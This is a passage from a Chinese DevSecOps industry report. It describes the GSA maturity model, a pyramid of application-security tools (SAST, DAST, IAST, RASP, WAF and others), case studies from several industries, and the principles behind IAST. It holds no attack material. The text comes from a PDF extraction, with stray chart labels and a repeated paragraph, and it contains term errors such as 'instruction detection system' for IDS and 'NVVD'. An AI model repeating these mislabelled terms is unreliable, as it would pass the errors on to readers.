量化将易受攻击的软件发布到实际生产环境中给组织带来的风险。 持续集成 持续交付 管道 持续安全保障 安全监控 生产环境 安全设计 (云和数据中心) DevOps 团队 安全性测试 安全风险管理 ① ② ③ ④ 38 1.1.2 DevSecOps 成熟度模型 在本文编撰期间,DevSecOps 国内相关的标准已在制定的过程中,尚未正式发布施行。美国总务管理局 (U.S. General Services Administration,GSA)在早先发布了框架性文件《DevSecOps 指南》,其中描述了 DevSecOps 平台的成熟度模型。 该成熟度模型从 DevSecOps 平台总体考虑事项、镜像管理、日志监控和告警、补丁管理、平台治理、变更管理、 应用开发测试和运营、应用部署、帐户权限凭据和机密管理、可用性和性能管理、网络管理、操作流程权限、 备份和数据生命周期管理、协议和财务管理等维度全面地定义了 DevSecOps 实践中所涉及工作的成熟度评价 标准。 以下是 GSA 对 DevSecOps 的描述“成功的 DevSecOps 团队工作具有可重复性、低冗余、高协作性和分散集 体努力的特点;为了最有效地实现这一点,自动化和可审计性优先于人工主观决策。” 针对该模型中最有代表性的 DevSecOps 平台总体考虑事项方面,其成熟度描述如下: 总体的 DevSecOps 平台考虑事项 描述 本部分围绕 DevSecOps 平台本身的整体性质,捕获进入环境的工作流和从环境发布的软件。 成熟度模型 ·级别 1(不被视作 DevSecOps 平台): 该平台的特点是依赖人工,状态不透明,团队协作不标准化,并且在 每个项目的基础上进行异构配置。 Overarching DevSecOps Platform Considerations Description This domain encompasses the holistic nature of DevSecOps around the platform itself, capturing the flow of work into the environment and release of software out of it. Maturity Model · Level 1 (Not considered viable for a DevSecOps platform): The platform is characterized by manual efforts, is not transparent about state, is not standardized across teams, and is heterogeneously configured on a per-project basis. · Level 2: Application developers have a pipeline that they can use to deploy software which is considerate of security and visible to operations. Intake into the platform may be manual or unpredictable. Steps to deploy or maintain operations may require manual effort or assessment. · Level 3: Application developers have a clear, self-service intake onto the platform and the ability to deploy and run security-compliant code in production through automation. The platform services are centralized in its infrastructure and pipeline implementation. 以下是大意 39 ·级别 2: 应用程序开发人员有一个管道,他们可以使用该管道来部署已考虑安全性并且对运营可见的软件。进 入该平台的方式可能是手动或不可预测的。部署和运维操作的步骤可能需要人工操作或评估。 ·级别 3: 应用程序开发人员在平台上有一个清晰的、自助的入口,并且能够通过自动化在生产环境部署和运行 符合安全性的代码。平台服务集中在其基础设施和管道实现中。 可以看到,无论是对 DevSecOps 的描述还是对成熟度的分级,GSA 都将自动化程度作为了最高准则。因此本 文中,编者对 DevSecOps 实践成熟度的评价,将把自动化程度作为最重要的评价标准。同时,auditability(可 审计性)也是比较重要的指标,因此对软件生产过程的监控能力也是需要关注的。 40 1.2 DevSecOps 安全工具金字塔 DevSecOps 中的应用安全管理和保障能力依赖不同的安全工具能力互相作用、叠加、协作而实现, DevSecOps 安全工具金字塔描述了安全工具所属的不同层次。安全工具之间的边界有时会模糊不清,因为单 一的安全工具可以实现多种类别的安全能力。 DevSecOps 安全工具金字塔描述了一组层次结构,金字塔底部的工具是基础工具,随着组织 DevSecOps 实践 成熟度的提高,组织可能会希望使用金字塔中较高的一些更先进的方法。 金字塔中的安全工具分层与组织的 DevSecOps 成熟度分级没有直接关系,仅使用低层次的安全工具也可以完 成高等级的 DevSecOps 实践成熟度,反之亦然。金字塔中的工具分层与该工具的普适性、侵入性、易用性等 因素相关。普适性强、侵入性低、易用性高的安全工具更适合作为底层基础优先引入,普适性弱、侵入性高、 易用性低的工具则适合作为进阶工具帮助 DevSecOps 实践变得更加完善且深入。 应用实践层 传统建设层 卓越层 CARTA 平台 ASTaaS 模糊测试 OSS/SCA IAST EDR SAST MAST DAST WAF IDS/IPS ASTO 容器安全 RASP 自动化 渗透测试 实 践 深 化 CARTA 平台 产品成熟度 1 市场需求度 2 技术创新度 5 1 2 3 4 5 0 发布 监控 部署 计划 测试 编码 构建 运营 DEV OPS DevSecOps 安全工具金字塔 41 CARTA(Continuous Adaptive Risk and Trust Assessment,持续自适应风险与信任评估)由 Gartner 在 2018 年十大安全技术趋势中首次提出,在 2019 年再次被列入十大安全项目,也是 Gartner 主推的一种应对当前及 未来安全趋势先进战略方法。CARTA 强调对风险和信任的评估分析,这个分析的过程就是一个权衡的过程,告 别传统安全门式允许 / 阻断的处置方式,旨在通过动态智能分析来评估用户行为,放弃追求完美的安全,不能 要求零风险,不要求 100% 信任,寻求一种 0 和 1 之间的风险与信任的平衡。CARTA 战略是一个庞大的体系, 其包括大数据、AI、机器学习、自动化、行为分析、威胁检测、安全防护、安全评估等方面,集主流技术与一 体打造出一个自适应自判断安全防护平台。 CARTA 跟 DevSecOps 的趋势一致,将安全左移至开发阶段,并最终集成在整个生命周期中,完成敏捷化的自 适应风险和信任评估。因此 CARTA 已逐渐从单纯的生产环境实践方法,融合进 DevSecOps 的体系之中。 应用安全性测试即服务(ASTaaS) 应用安全测试编排(ASTO) 随着应用开发环境的开放化以及云服务日趋成熟,更轻量级的 ASTaaS 逐渐开始被接受。在 ASTaaS 上,使用 者通常仅需按需付费来对应用程序执行安全测试,而不必再分别购买昂贵的私有化安全设备。该服务通常是静 态和动态分析,渗透测试,应用程序编程接口(API)测试,风险评估等安全功能的组合。ASTaaS 通常用于移 动和 Web 应用程序。 ASTaaS 的发展动力主要来自云应用程序的使用,在云应用程序中,用于测试的资源更易于配置。有数据表明, 全球在公共云计算上的支出预计将从 2015 年的 670 亿美元增加到 2020 年的 1620 亿美元。 应用安全测试编排(Application Security Testing Orchestration,ASTO)由 Gartner 首次提出,目前该技术和 工具还处于较为初始的阶段。其目标是对生态系统中运行的所有不同的应用安全测试工具进行集中、协调的管 发布 监控 部署 计划 测试 编码 构建 运营 DEV OPS 发布 监控 部署 计划 测试 编码 构建 运营 DEV OPS 市场需求度 1 产品成熟度 1 技术创新度 4 1 2 3 0 4 5 市场需求度 3 产品成熟度 1 技术创新度 3 1 2 3 0 4 5 42 理和报告。ASTO 综合管理 SAST/SCA/IAST/DAST 等各种安全工具的检测能力,完善与开发工具链条的集成与 自动化能力,提供安全能力编排方案。用户自定义编排安全检测的手段、工具与其它安全产品的自动化集成响应。 模糊测试 模糊测试(fuzz testing)是一种介于完全的手工渗透测试与完全的自动化测试之间的安全性测试类型。能够在 一项产品投入市场使用之前对潜在的应当被阻断的攻击路径进行提示。从执行过程来说,模糊测试的执行过程 很简单,大致如下: ·准备好随机或者半随机方式生成的数据; ·将准备好的数据导入被测试的系统; ·用程序打开文件检测被测试系统的状态; ·根据被测系统的状态判断是否存在潜在的漏洞。 发布 监控 部署 计划 测试 编码 构建 运营 DEV OPS 市场需求度 3 产品成熟度 3 技术创新度 3 1 2 3 4 5 0 容器安全 容器安全是保护云原生环境免受漏洞和主动攻击威胁所需的安全工具。容器安全工具可完全集成到构建和部署 管道中,提供针对容器镜像的漏洞管理功能,实现并强制实施合规性。容器安全工具能保护容器的完整性,这 包括从其承载的应用到其所依赖的基础架构等全部内容。通常而言,组织拥有持续的容器安全包含以下方面: ·保护容器管道和应用 ·保护容器部署环境和基础架构 ·整合企业安全工具,遵循或增强现有的安全策略 市场需求度 3 产品成熟度 2 技术创新度 3 1 2 3 0 4 5 发布 监控 部署 计划 测试 编码 构建 运营 DEV OPS 43 运行时应用自保护(RASP) 运行时应用自保护 (RASP) 是一种嵌入到应用程序或应用程序运行时环境的安全技术,在应用层检查请求,实 时检测并阻断攻击。RASP 产品通常包含以下功能 : ·通常在应用程序上下文中进行解包和检查应用程序请求。 ·产品可以在多个执行点分析完整的请求,执行监控和阻止,有时甚至更改请求以去除恶意内容。 ·完整的功能可通过 RESTful API 访问。 ·防止所有类型的应用程序攻击,并确定攻击是否会成功。 ·查明漏洞所在的模块,还有特定的代码行。 ·仪表盘功能和使用情况报告。 发布 监控 部署 计划 测试 编码 构建 运营 DEV OPS 市场需求度 2 产品成熟度 2 技术创新度 5 1 2 3 0 4 5 市场需求度 3 产品成熟度 3 技术创新度 4 1 2 3 4 5 0 发布 监控 部署 计划 测试 编码 构建 运营 DEV OPS 软件组成分析(SCA) SCA 工具检查软件,以确定软件中所有组件和库的来源。SCA 工具在识别和发现常见和流行组件(尤其是开源 组件)中的漏洞方面非常有效。但是,它们通常不会检测内部自定义开发组件的漏洞。 SCA 工具在查找通用和流行的库和组件(尤其是开放源代码部分)方面最为有效。它们的工作原理是将代码中 的已知模块与已知漏洞库进行比较。SCA 工具查找具有已知漏洞并已记录漏洞的组件,并且通常会提示使用者 组件是否过时或有可用的补丁修补程序。 为了进行比较,几乎所有 SCA 工具都使用 NVVD 或 CVE 作为已知漏洞的来源。许多商业 SCA 产品还使用 VulnDB 等商业漏洞数据库作为来源。SCA 工具可以在源代码,字节码,二进制编码或某种组合上运行。在知 识产权保护的影响下,基于不同软件授权许可证书的风险检测,正成为新的技术关注点。SCA 可以对不同软件 组件的授权许可进行分析,避免潜在的法律风险。 44 自动化渗透测试是近年来逐渐被关注的一项新技术,其目的是用自动化测试的方式实现以往只有依靠白帽子人 工完成的渗透测试工作,以提高漏洞检测效率,降低检测成本。这一类工具是随着机器学习等 AI 技术的发展 而产生并成熟的。自动化渗透测试工具可以将白帽子在大量渗透过程中积累的实战经验转化为机器可存储、识 别、处理的结构化经验,并且在测试过程中借助 AI 算法自我迭代,自动化地完成逻辑推理决策,以贴近实际 人工渗透的方式,对给定目标进行从信息收集到漏洞利用的完整测试过程。 PTE 自动化渗透测试 发布 监控 部署 计划 测试 编码 构建 运营 DEV OPS 市场需求度 3 产品成熟度 2 技术创新度 5 1 2 3 0 4 5 产品成熟度 3 市场需求度 3 技术创新度 5 1 2 3 4 5 0 构建 发布 监控 部署 计划 测试 编码 构建 运营 DEV 交互式应用安全测试(IAST) OPS 交互式应用安全测试(IAST) IAST 曾被 Gartner 多次列为十大安全技术。IAST 工具结合了 SAST 和 DAST 技术的优点。IAST 可以模拟验证 代码中的已知漏洞是否可以真的在运行的环境中被利用。 IAST 工具利用对应用程序流和数据流的了解来创建高级攻击方案,并递归地使用动态分析结果:在执行动态 扫描时,该工具将基于应用程序对测试用例的响应方式来了解有关应用程序的知识。一些工具将使用这些知识 来创建其他测试用例,然后可以为更多的测试用例产生更多的知识,依此类推。IAST 工具擅于减少误报数, 并且可以很完美地使用在敏捷和 DevOps 环境。在这些环境中,传统的独立 DAST 和 SAST 工具在开发周期中 可能会占用大量时间,而 IAST 几乎不会对原有应用生产效率产生任何影响。 45 EDR 端点检测与响应 (Endpoint Detection & Response,EDR) 是一种主动的安全方法,可以实时监控端点,并搜索 渗透到公司防御系统中的威胁。 这是一种新兴的技术,可以更好地了解端点上发生的事情,提供关于攻击的上 下文和详细信息。 EDR 服务可以让你知道攻击者是否及何时进入你的网络,并在攻击发生时检测攻击路径ー ー帮助你在记录的时间内对事件作出反应。 发布 监控 部署 计划 测试 编码 构建 运营 DEV OPS 市场需求度 4 产品成熟度 4 技术创新度 3 1 2 3 0 4 5 静态应用安全测试(SAST) 市场需求度 5 产品成熟度 5 技术创新度 2 1 2 3 4 5 0 发布 监控 部署 计划 测试 编码 构建 DEV OPS OPS SAST 又称白盒测试,测试人员可以在其中了解有关被测代码的信息,包括体系结构图、常规漏洞、不安全编 码等内容。SAST 工具可以发现源代码中可能导致安全漏洞的脆弱点,还可以通过 IDE 插件形式与集成开发环 境结合,实时检测代码漏洞问题,漏洞发现更及时,使得修复成本更低。 源代码分析器可以在未编译的代码上运行,以检查缺陷,覆盖赋值越界、、输入验证、竞争条件、路径遍历、 指针和引用等。部分 SAST 工具也可以用二进制和字节码分析器对已构建和已编译的代码执行相同的操作,但 这实际上已进入 SCA 和 DAST 的范畴。 市场需求度 3 产品成熟度 3 技术创新度 3 1 2 3 0 4 5 发布 监控 部署 计划 测试 编码 构建 运营 DEV 移动应用安全测试(MAST) OPS 移动应用安全测试(MAST) 46 发布 监控 部署 计划 测试 编码 构建 运营 DEV OPS WAF WAF 即 Web 应用防火墙(Web Application Firewall),是通过执行一系列针对 HTTP 和 HTTPS 的安全策略, 来专门对 Web 应用,提供保护的一类产品。WAF 初期是基于规则防护的防护设备;基于规则的防护,可以提 供各种 Web 应用的安全规则,WAF 生产商去维护这个规则库,并实时为其更新,用户按照这些规则,可以对 应用进行全方面的保护。 市场需求度 4 产品成熟度 4 技术创新度 3 1 2 3 0 4 5 DAST工具又称黑盒测试,与SAST工具相对应。测试人员无需具备编程能力,无需了解应用程序的内部逻辑结构, 也无须了解代码细节。DAST 不区分测试对象的实现语言,采用攻击特征库来做漏洞发现与验证。 DAST 工具针对编译后的可执行程序运行,以检测界面、请求、响应、脚本(即 JavaScript)、数据注入、会话、 身份验证等问题。除了可以扫描应用程序本身之外,还可以扫描发现第三方开源组件、第三方框架的漏洞。 动态应用安全测试(DAST) 发布 监控 部署 计划 测试 编码 构建 运营 DEV 动态应用安全测试(DAST) OPS 市场需求度 5 产品成熟度 5 技术创新度 2 1 2 3 4 5 0 MAST 工具融合了静态,动态和取证分析。它们执行的功能与传统的静态和动态分析器类似。MAST 工具具有 专门针对移动应用程序问题的独特功能,例如越狱检测、伪造 WI-FI 链接测试、证书的处理和验证、防止数据 泄漏等。其针对的移动应用问题大致可分为以下类别: 47 受篇幅所限,金字塔中无法罗列所有的工具。威胁建模、漏洞关联分析、测试覆盖率分析、自动化漏洞修复等 工具都有较强的技术创新性且未来的应用前景十分广阔,但目前的产品成熟度和市场需求度上还处于相对早期 阶段,因此暂未编排进金字塔中。 金字塔中的内容并非一成不变,随着 DevSecOps 实践的发展,我们可能会增加新的安全工具到金子塔中,或 删除一些被边缘化的安全工具,亦或调整对某个安全工具的评价和运行阶段。在某个工具的实际使用工况发生 改变时,它所处的层次也可能会变更。我们会持续关注 DevSecOps 中安全工具的应用情况。 发布 监控 部署 计划 测试 编码 构建 运营 DEV OPS IDS/IPS 在这几年 WAF 领域出现了很多新的技术,譬如通过数据建模学习企业自身业务,从而阻拦与其业务特征不匹 配的请求;或者使用智能语音分析引擎,从语音本质去了解。除可阻断针对利用已知漏洞的攻击外,还可防止 部分通过未知漏洞的攻击。 入 侵 检 测 系 统(instruction detection system,IDS)、 入 侵 防 御 系 统( instruction prevention system, IPS)是两类传统的安全保障产品,主要用于应对网络安全系统中的黑客攻击事件。 IDS 是依照一定的安全策略,对网络、系统的运行状况进行监视,尽可能发现各种攻击企图、攻击行为或者攻 击结果,以保证网络系统资源的机密性、完整性和可用性。 IPS 能够监视网络或网络设备的网络资料传输行为,能够即时的中断、调整或隔离一些不正常或是具有伤害性 的网络行为。 由于这两种产品的技术和形态有高度的一致性,因此这里放到同一个分类中阐述。IPS 和 IDS 工具已经非常成熟, 甚至可以称为古老。但由于其拥有实时检测和响应的特点,在生产系统中有着高度的实用性,因此现如今依旧 是在线应用的网络保护中十分必要的一环。 市场需求度 4 产品成熟度 5 技术创新度 1 1 2 3 4 5 0 48 1.3 不同行业的 DevSecOps 现状 1.3.1. 金融行业 DevSecOps 落地现状 面临的风险与挑战:金融是国家重要的核心竞争力,是现代经济的核心,金融安全是国家安全的重要组成部分。 随着移动互联网、云计算等技术的发展,金融机构的业务环境愈加复杂,内部系统与外部空间的边界也愈加模 糊。与此同时,网络攻击者的攻击手段却越来越丰富,攻击数量越来越多。面对 0-Day、APT 等新型攻击手段, 金融机构的安全状况面临严峻挑战。根据中国银行保险报最新发布的《金融行业网络安全白皮书(2020 年)》 显示:金融行业网络安全面临的风险和挑战主要表现在以下 6 个方面: ·金融科技创新对网络安全提出高要求 ·事件型漏洞和零日漏洞持续走高 ·网络攻击种类、规模与方式不断增加 ·数据安全和隐私保护需求与难度加大 ·金融行业风险冲击的传导性愈演愈烈 ·金融行业信息科技外包风险形式严峻 《白皮书》总结认为,随着国内外网络安全复杂、严峻形势的演变,我国金融行业网络安全形势日趋严峻,面 临诸多新的风险和挑战: 首先,金融科技创新大量采用新技术实现业务创新的同时,也给网络安全带来了更多隐性风险,提出了更高要 求;其次,随着事件型漏洞和高危零日漏洞威胁的持续走高,网络攻击的种类、规模和方式也不断增加,隐蔽 性更强的 APT 攻击成为常态;其三,金融数据涉及大量个人信息和资金等内容,数字化转型不断提升数据价值, 金融业务的复杂性使得数据安全保护体系的建设难度不断加大;最后,金融行业的业务创新不断加速,各金融 机构与第三方机构的连接越来越多,同时中小金融机构大量依靠科技外包来获得快速发展,风险的传导范围和 信息科技外包风险不断加大,需要重点关注。 虽然 DevSecOps 的实践并不针对特定行业,但不同行业目前在 DevSecOps 实践的成熟度却有明显的差异。这 主要有以下有三个原因: ·不同行业间对应用安全的重视有差异。 ·不同行业间在新技术和新方法的使用意愿有差异。 ·不同行业间对安全敏捷性的需求有差异。 本文选取了三个比较有代表性行业,简要描述了其面临的风险和挑战,以及在此背景下建构的 DevSecOps 实 践案例。需要说明的是,这里选取的案例并非一定最领先的行业实践,其实践方案是否适合行业参考借鉴是我 们的重要选择标准,同时也考虑了其代表性。与之相似的是,我们给出的实践成熟度评价,更倾向于体现行业 的中等水平,而非最高水平。 DevSecOps 实践成熟度 3 49 网络与信息安全整体风险。随着企业数字化转型与 5G 物联网时代的到来,“万物互联”使信息系统与互联网 或其他网络的连接更加的普遍与密切,直接导致系统受攻击面的不断扩大。同时随着搭建在系统之上的应用数 目增多, 逻辑越来越复杂,信息系统隐藏的缺陷与漏洞越来越多,且不易发现与修补。 各国网络安全监管合规风险。运营金融服务企业需了解新发布的网络安全监管条例及条例对其业务的影响,从 而抓准数据监管规则并保持合规,尤其是在涉及跨境交易的情况下。违规通常要缴纳高额罚款,因此保持合规 至关重要。 新技术应用对软件安全的风险。由于金融行业的业务发展和市场要求,需要尽早布局、抢占市场,相关的互联 网金融应用系统的开发周期不断挤压和缩减,为保证业务系统的快速上线,开发过程中的安全活动不断减少或 被取消。 金融行业落地实践:该金融机构安全部门下设应用安全、数据安全、安全技术攻防、安全事件响应相关职能团 队,覆盖应用安全、GRC( 治理、风险和合规 )、数据安全、业务安全、安全运营、安全攻防及安全响应等分支。 其中,应用安全团队负责 DevSecOps 的研究与落地,应用安全职能专设安全顾问“ISO”的角色,扎口管理项 目安全评估与咨询,负责项目安全建设的全流程跟踪。 此外,为了解决安全方向较多而安全人力不足的问题,机构跨团队成立了六大虚拟组织“大运营体系”,采 用融合 SCRUM 敏捷方法的安全大运营模式,提升安全人力协作和运营效能。2017 年开始,该机构已全面向 敏捷及 DevOps 转型,DevOps 平台也在同步自研中,目前已经具备较完善的功能,大量的项目在逐步迁移到 DevOps 平台。作为国内较早实施 DevSecOps 实践的金融企业,具备丰富的安全管理及建设经验。 50 1.3.2 能源行业 DevSecOps 落地现状 面临的风险与挑战:能源行业涉及面较广,包括煤炭、石油和电力工业三大部门,而电力又是占据能源行业的 重要位置,电力产业在信息安全方面走在其他领域之前,但电力企业在网络信息安全方面仍然存在较多问题。 电力企业网络信息安全与一般企业网络信息同样具备多方面的安全风险,主要表现在以下 5 个方面: ·来自互联网的风险 ·来自企业内部的风险 ·病毒的侵害 ·管理人员素质风险 ·系统的安全风险 因我国近年来没有遭受大规模严重性网络攻击,所以能源行业对信息安全的重视程度并不高。一般来说,对安 全的重视和实施来自三个方面:政策驱动、事件驱动和技术驱动。 政策驱动方面,2014 年我国成立了中央网络安全和信息化领导小组,2017 年 6 月 1 日开始实施《网络安全法》。 国家和政府层面对信息安全已经给予战略层面的重视。 技术驱动层面,主要依托国产自主研发的信息安全厂商,这些企业受到国家政策层面的鼓励和支持,在去 IOE 的大势下逐渐崛起,并在各自优势领域占据一席之地。 政策驱动和技术驱动在我国显然已经走在事件驱动前面,事件驱动没有很好的效应并非说明我国在能源信息安 全方面有所建树,只是我国能源行业信息化安全建设还处在初期阶段,能源信息还未全面与国际接轨。其实事 故出了之后,回头再去看防护的成本微乎其微,事件驱动的弊病在于事不关己高高挂起,而安全问题的本质却 是防患于未然。针对事件驱动,我们应该转变安全思维模式,建立主动保护意识,安全人人有责,将安全贯穿 软件开发的全生命周期,这也是 DevSecOps 倡导的核心理念。 能源行业落地实践:以下是某国有电力集团分公司的 DevSecOps 建设案例。该机构已经使用了 DevOps 生 产模式,整个团队的协同比较有序。但在流程里,开发阶段的若干阶段中,只使用了 SAST 工具,单纯依 靠这种安全测试方法,在效率和效果上都远远无法满足该机构的需要。因此,该机构着手进行开发流程的 DevSecOps 建设。 漏洞管理平台 DevOps流水线 白盒 扫描 人工渗 透测试 Git/SVN CodeCC代码 检查 服务端/web前端 /移动端Build 测试环境 定时/手动/ 事件/远程 docker hub 开发人员 DevSecOps 实践成熟度 2 51 下图是建设后的流程,由于之前的研发和测试人员已经接触过 SAST 工具,并且企业内部也进行过安全编码培 训,相关人员对代码安全和应用安全已经有了相当程度的理解和认知。因此建设的实施就比较高效,建设后的 成果也比较全面。该机构将 IAST、DAST、OSS 开源安全测试、应用包检测、容器镜像检测等安全能力以插件 的形式集成在了客户原有的 DevOps 流程管理平台之上。并且通过 API,将安全测试结果向原有的漏洞跟踪管 理平台进行汇总管理。开发安全体系里面覆盖了静态和动态、自有和外源、编译前和编译后等各种不同管理面 向,漏洞的检出率有了跨越式的提高。在执行效率上,因为统一管理和交叉分析的原因,虽然增加了检测时 间,但减少了人工排查的时间,因此总流转时间上并没有比原来单纯使用 SAST 的时候消耗更多,是较为成功 的 DevSecOps 建设案例。 DevSecOps流水线 白盒 扫描 开发人员 漏洞管理平台 容器镜像 扫描 OSS开源 组件 应用包 检测 自动化 渗透测试 Git/SVN CodeCC代码 检查 服务端/web前端 /移动端Build 测试环境 定时/手动/ 事件/远程 docker hub 52 1.3.3 互联网行业 DevSecOps 落地现状 面临的风险与挑战:互联网信息的风险和安全问题,主要来自互联网黑客频繁侵袭、系统漏洞、病毒木马攻击、 用户信息泄露、用户安全意识薄弱、不良虚假信息的传播等方面。具体有以下 7 种风险: ·DDoS 攻击 ·互联网业务支撑系统自身安全漏洞 ·病毒木马 ·信息泄露 ·网络钓鱼 ·移动威胁 ·内控风险 以在线网站为例,对于一个活跃度高的网站来说,日活跃量会达到千万级别,产品形态也会覆盖 Web APP、 Android APP、 iOS APP、SDK、IoT 等,每周都会有数以万计的应用发布次数,在以上安全威胁背景下,如何 保证每一次发布代码的安全性成为了 DevSecOps 实践中最大的挑战。 在软件行业,一个版本的发布从涉及到开发、测试、发布动辄数月,每个版本的发布都可以按照 SDL 流程完 整地做一次安全评估,包括需求评审、威胁建模、安全开发、安全扫描。而在 CI / CD 模型下,每天都有几千 次的发布,持续集成、持续部署,如何避免持续引入漏洞,仅仅靠人力是无法解决的。 另一个很重要的问题是如何培养安全意识——避免两次踩进同一个坑。日常工作中会遇到这样的问题:昨天刚 找开发修了一个 SQL 注入,今天又写了另一处有注入的接口;昨天刚补了一处撞库接口,今天又来了一个验 证码绕过。安全人员沦为救火队长,疲于奔命。其实本质还是需要提高业务团队的整体安全意识,避免安全变 成被动的修补角色。 第三个问题是安全项目的推动难,对于安全工程师来说最差的体验是,“在甲方提工单和在乙方贴发票”。为 什么推动这么困难,原因在于对业务团队来说这似乎是增加了额外的工作量,仅仅是修复一个漏洞就需要开发、 测试甚至产品一起沟通拉齐,确定修复方案、排期,更不要说大规模的推动底层的框架、中间件的升级,一轮 一轮的推动更是难上加难。而解决这些需要与公司框架、与 CI / CD 流程更紧密的结合,提供温和嵌入流程的 默认安全方案。 DevSecOps 实践成熟度 2 53 该机构于 2020 年的安全建设结束后,安全培训、SAST、DAST、组件检测等安全工作已经融合进了 DevOps 的体系中,安全工作的自动化程度较高,该机构的 DevSecOps 体系已经初见成效。 在 2019 年从人工安全评估向自动化安全评估转化的基础上,2020 年该机构更是深化完善去人工化的安全体系。 其 2020 年建设内容中,自动化安全工具、自主安全培训、安全 SDK、数据分析展示是最重要的四个方面,以 求解决之前存在的逻辑漏洞多、研发安全意识薄弱、工具成熟度等问题。 互联网行业落地实践:某大型互联网企业的主要业务依赖于自研的在线应用程序,因此该机构非常重视应用的 安全保障工作。近年来,该机构每年都在应用安全的保障工作上进行相当多资源的投入。并通过企业相关部门 的统一规划,分步骤、分阶段地进行系统的安全体系建设。如图所示: 54 2020 年该机构的安全建设结束后,安全培训、SAST、DAST、组件检测等安全工作已经融合进了 DevOps 的体 系中,安全工作的自动化程度较高,该机构的 DevSecOps 体系已经初见成效。 55 1.4 非安全工具的 DevSecOps 融合现状 1.4.1 DevOps 管理平台 在 2020 年,我们看到了 DevOps 管理平台向 DevSecOps 管理平台转化上的长足进步。在过去几年间,国内 不同的 DevOps 管理平台已在开发和运维流程的管理能力上逐渐地完善,并趋于同质化。2020 年,安全管理 成为领先的 DevOps 平台厂商着手解决的问题,如腾讯蓝鲸、Coding、阿里云效、博云、平安神兵等 DevOps 管理平台都完成了向 DevSecOps 的初步探索。常规的做法是,第三方 DevSecOps 安全工具以插件或独立模块 的方式集成在 DevOps 管理平台中,DevOps 管理平台在自身的流水线中调用这些安全工具,并将安全结果与 质量红线进行关联,作为版本质量的参考依据。 目前 DevSecOps 探索尚处于起步阶段,无论是安全能力的丰富程度,还是安全与整体流程的融合程度都有待 进一步地完善,但今年 DevOps 管理平台对 DevSecOps 探索的显著进步,使我们非常期待其在 2021 年的表现。 本章节旨在叙述与 DevSecOps 流程结合较为紧密的非安全类工具的实践现状。在 DevOps 流程中的工具非常 繁杂,且许多工具都与安全风险管控过程相关,鉴于篇幅有限,本节仅选取比较有代表性的三类工具进行阐述。 DevSecOps 实践融合度 3 DevOps 平台的安全流水线 56 Gitlab CI、Bamboo、Travis CI 等工具由于用户的基数有限,DevSecOps 安全产品还较少对其流水线进行支持, 相信随着 DevSecOps 的发展,以上工具也会更多地被纳入安全产品支持的范围中来。 Jenkin 中自动化安全任务的执行结果 1.4.2 持续集成工具 当前,持续集成(CI)工具对 DevSecOps 而言,是自动化和敏捷化的核心支撑工具。因此持续集成工具对安 全自动化的支持成熟度在很大程度上决定了 DevSecOps 实践成熟度。今年,Jenkins 依旧是用户最认可的 CI 工具,达到了 53% 的市占率,因此对 Jenkins 的支持已经成为了 DevSecOps 安全产品的基础能力。假如一款 安全产品没有与 Jenkins 流水线进行集成编排的能力,我们很难说这是一款真正的 DevSecOps 安全产品。 DevSecOps 实践融合度 3 57 1.4.3 需求和项目管理平台 需求和项目管理平台作为软件项目开发不可或缺的支撑工具,从单纯对需求与缺陷的管理,发展到与安全流程 的结合,这似乎是个必然的趋势。这种对安全的管理方式更多地偏向流程保障,而欠缺敏捷性,因此严格来说, 这更像是 S-SDLC,而不是 DevSecOps。出于以下两点原因,这里还是把需求和项目管理平台纳入进来叙述。一、 越来越多用户希望将 DevSecOps 安全支撑工具的输出结果同步到需求和项目管理平台上,以方便在项目的维 度上进行整体管控。二、需求和项目管理平台的自动化能力正在不断成长,以求更加适应敏捷模式。 根据云计算开源产业联盟今年发布的《中国 DevOps 现状调查报告》,在需求和项目管理平台方面,Jira 以 44% 的使用率依旧占据统治地位,因此 Jira 平台是本年度观察的重点。我们看到头部的安全工具已经能够与 Jira 平台融合,帮助用户使用 Jira 的项目管理流程,完成安全的流程化管理。 DevSecOps 实践融合度 2 除Jira之外,禅道、Ones Project、Redmine、Trello等工具在需求与项目管理平台领域中也有一定的市场占有率。 但出于用户需求、平台开放性以及安全厂商支撑意愿等因素,这些平台在安全能力的结合方面尚在起步阶段, 成熟的案例比较有限。 在 JIRA 中引入安全漏洞管理 58 2 DevSecOps年度热点 59 2.1 2020 年度热点技术 2.1.1 交互式应用程序安全测试(IAST) IAST 交互式应用安全测试是 2012 年 Gartner 公司提出的一种新的应用程序安全测试方案,通过代理、VPN 或 者在服务端部署 Agent 程序,收集、监控 Web 应用程序运行时函数执行、数据传输,并与扫描器端进行实时交互, 高效、准确地识别安全缺陷及漏洞,同时可准确确定漏洞所在的代码文件、行数、函数及参数。某种程度上, IAST 是综合 DAST 和 SAST 技术优势的一种运行时灰盒安全测试技术。DAST 动态应用程序安全测试技术是在 测试或运行阶段分析应用程序的动态运行状态。它模拟黑客行为对应用程序进行动态攻击,分析应用程序的反 应,从而确定该 Web 应用是否易受攻击。SAST 静态应用程序安全测试技术通常在编码阶段分析应用程序的源 代码或二进制文件的语法、结构、过程、接口等来发现程序代码存在的安全漏洞。 IAST 交互式应用安全测试技术作为最近几年比较火热的应用安全测试新技术,曾被 Gartner 咨询公司列为网络 安全领域的 Top 10 技术之一。IAST 拥有极高的漏洞检出率和极低的漏洞误报率,同时可以定位到 API 接口和 代码片段。 技术原理:IAST 灰盒安全测试技术的引入主要为了解决政企用户不同开发测试场景下的精准应用安全测试问 题。一套完善的 IAST 解决方案需要同时支持以下几种主流模式:运行时插桩模式、流量代理 /VPN 模式、流量 镜像模式等,其中最具代表性的两种模式为运行时插桩模式和流量代理模式。 插桩模式:插桩模式是在保证目标程序原有逻辑完整的情况下,在特定的位置插入探针,在应用程序运行时, 通过探针获取请求、代码数据流、代码控制流等,基于请求、代码、数据流、控制流综合分析判断漏洞。 流量代理模式:在 PC 端浏览器或者移动 APP 设置代理,通过代理拿到功能测试的流量,利用功能测试流量模 拟多种漏洞检测方式对被测服务器进行安全测试。 运行时插桩技术原理 :运行时插桩模式需要在被测试应用程序中部署插桩 Agent,使用时需要外部扫描器去触 发这个 Agent。一个组件产生恶意攻击流量,另一个组件在被测应用程序中监测应用程序的反应,由此来进行 漏洞定位和降低误报。 60 流量代理技术原理:运行时插桩技术需要在服务器中部署 Agent,不同的语言不同的容器需要适配不同的 Agent,这对某些用户或用户的某些场景来说是难以接受的。而流量代理技术不需要在服务器中部署 Agent, 只需测试或使用人员简单配置代理即可,且能检测业务逻辑漏洞。该技术局限的地方在于安全测试会产生一定 的脏数据,漏洞的详情无法定位到代码片段。当甲方的某些业务场景无法部署插桩 Agent 时,流量代理和流量 镜像技术是一个很好的补充。 ·被测试服务器中安装 IAST 插桩 Agent; ·DAST Scanner 发起扫描测试; ·IAST 